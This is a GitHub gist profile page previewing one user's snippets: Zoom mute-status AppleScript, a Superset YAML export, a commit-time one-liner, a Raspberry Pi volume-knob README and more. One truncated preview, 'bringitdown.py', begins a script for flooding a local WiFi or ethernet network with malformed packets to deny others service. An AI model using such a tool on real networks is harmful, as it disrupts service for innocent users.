Skip to content

Instantly share code, notes, and snippets.

View betodealmeida's full-sized avatar
💭
Code code code

Beto Dealmeida betodealmeida

💭
Code code code
View GitHub Profile
@betodealmeida
betodealmeida / zoom-mute-status.scpt
Created September 29, 2020 20:23 — forked from tyzbit/zoom-mute-status.scpt
Get Zoom Mute/Unmute Status
property btnTitle : "Mute audio"
tell application "System Events" to tell application process "zoom.us"
if exists (menu item btnTitle of menu 1 of menu bar item "Meeting" of menu bar 1) then
do shell script "echo Unmuted"
else
do shell script "echo Muted"
end if
end tell
@betodealmeida
betodealmeida / 20200923_145133.yaml
Created September 23, 2020 21:52
Example datasource export from Superset
- columns:
- column_name: year
is_dttm: true
type: DATETIME
- column_name: country_name
type: VARCHAR(255)
- column_name: region
type: VARCHAR(255)
- column_name: country_code
type: VARCHAR(3)
@betodealmeida
betodealmeida / gist:10dff1865f7eeb0193fa9e5c240acaed
Created July 18, 2019 18:47 — forked from bessarabov/gist:674ea13c77fc8128f24b5e3f53b7f094
One-liner to generate data shown in post 'At what time of day does famous programmers work?' — https://ivan.bessarabov.com/blog/famous-programmers-work-time
git log --author="Linus Torvalds" --date=iso | perl -nalE 'if (/^Date:\s+[\d-]{10}\s(\d{2})/) { say $1+0 }' | sort | uniq -c|perl -MList::Util=max -nalE '$h{$F[1]} = $F[0]; }{ $m = max values %h; foreach (0..23) { $h{$_} = 0 if not exists $h{$_} } foreach (sort {$a <=> $b } keys %h) { say sprintf "%02d - %4d %s", $_, $h{$_}, "*"x ($h{$_} / $m * 50); }'
@betodealmeida
betodealmeida / README.md
Created December 15, 2018 19:00 — forked from savetheclocktower/README.md
Using a rotary encoder as a volume control for the Raspberry Pi

Using a rotary encoder as a volume control

On my RetroPie machine I wanted a hardware volume knob — the games I play use a handful of emulators, and there's no unified software interface for controlling the volume. The speakers I got for my cabinet are great, but don't have their own hardware volume knob. So with a bunch of googling and trial and error, I figured out what I need to pull this off: a rotary encoder and a daemon that listens for the signals it sends.

Rotary encoder

A rotary encoder is like the standard potentiometer (i.e., analog volume knob) we all know, except (a) you can keep turning it in either direction for as long as you want, and thus (b) it talks to the RPi differently than a potentiometer would.

I picked up this one from Adafruit, but there are plenty others available. This rotary encoder also lets you push the knob in and treats that like a button press, so I figured that would be useful for toggling mute on and off.

@betodealmeida
betodealmeida / github-markdown-print.js
Created June 6, 2018 19:31 — forked from hangxingliu/github-markdown-print.js
GitHub Markdown Print Script
// Refrence from: https://gist.github.com/beevelop/a0f2c76e79610dca01550c9a93f83876
// Copy following scripts in the developer console of page included markdown content you want to print:
(function () {
var $ = document.querySelector.bind(document);
$('#readme').setAttribute('style', 'position:absolute;top:0;left:0;right:0;bottom:0;z-index:100;background-color:white');
$('#readme>article').setAttribute('style', 'border: none');
$('body').innerHTML = $('#readme').outerHTML;
window.print();
})();
# DDoS any WiFi network or ethernet interface you're connected do, drowning out other people's legitimate traffic with spam malformed packets
# brew install libdnet; pip install dnet
# sudo python bringitdown.py
import dnet
def bring_it_down(iface="en0", spam_packet='HOST:all|GET:spam'):
datalink = dnet.eth(iface)
h = datalink.get().encode('hex_codec')
def stream(self):
with open(self.filepath, 'Ur') as fp:
reader = csv.reader(fp)
reader.next() # consume var names
for row in reader:
yield row

Keybase proof

I hereby claim:

  • I am robertodealmeida on github.
  • I am beto (https://keybase.io/beto) on keybase.
  • I have a public key whose fingerprint is 1CAF EFDA 6784 AD5E 406D 697F E0BB 5E03 9707 FD33

To claim this, I am signing this object:

validos = validos[~isnan(validos.numero)]
for l in lixo:
validos = validos[validos.comida != l]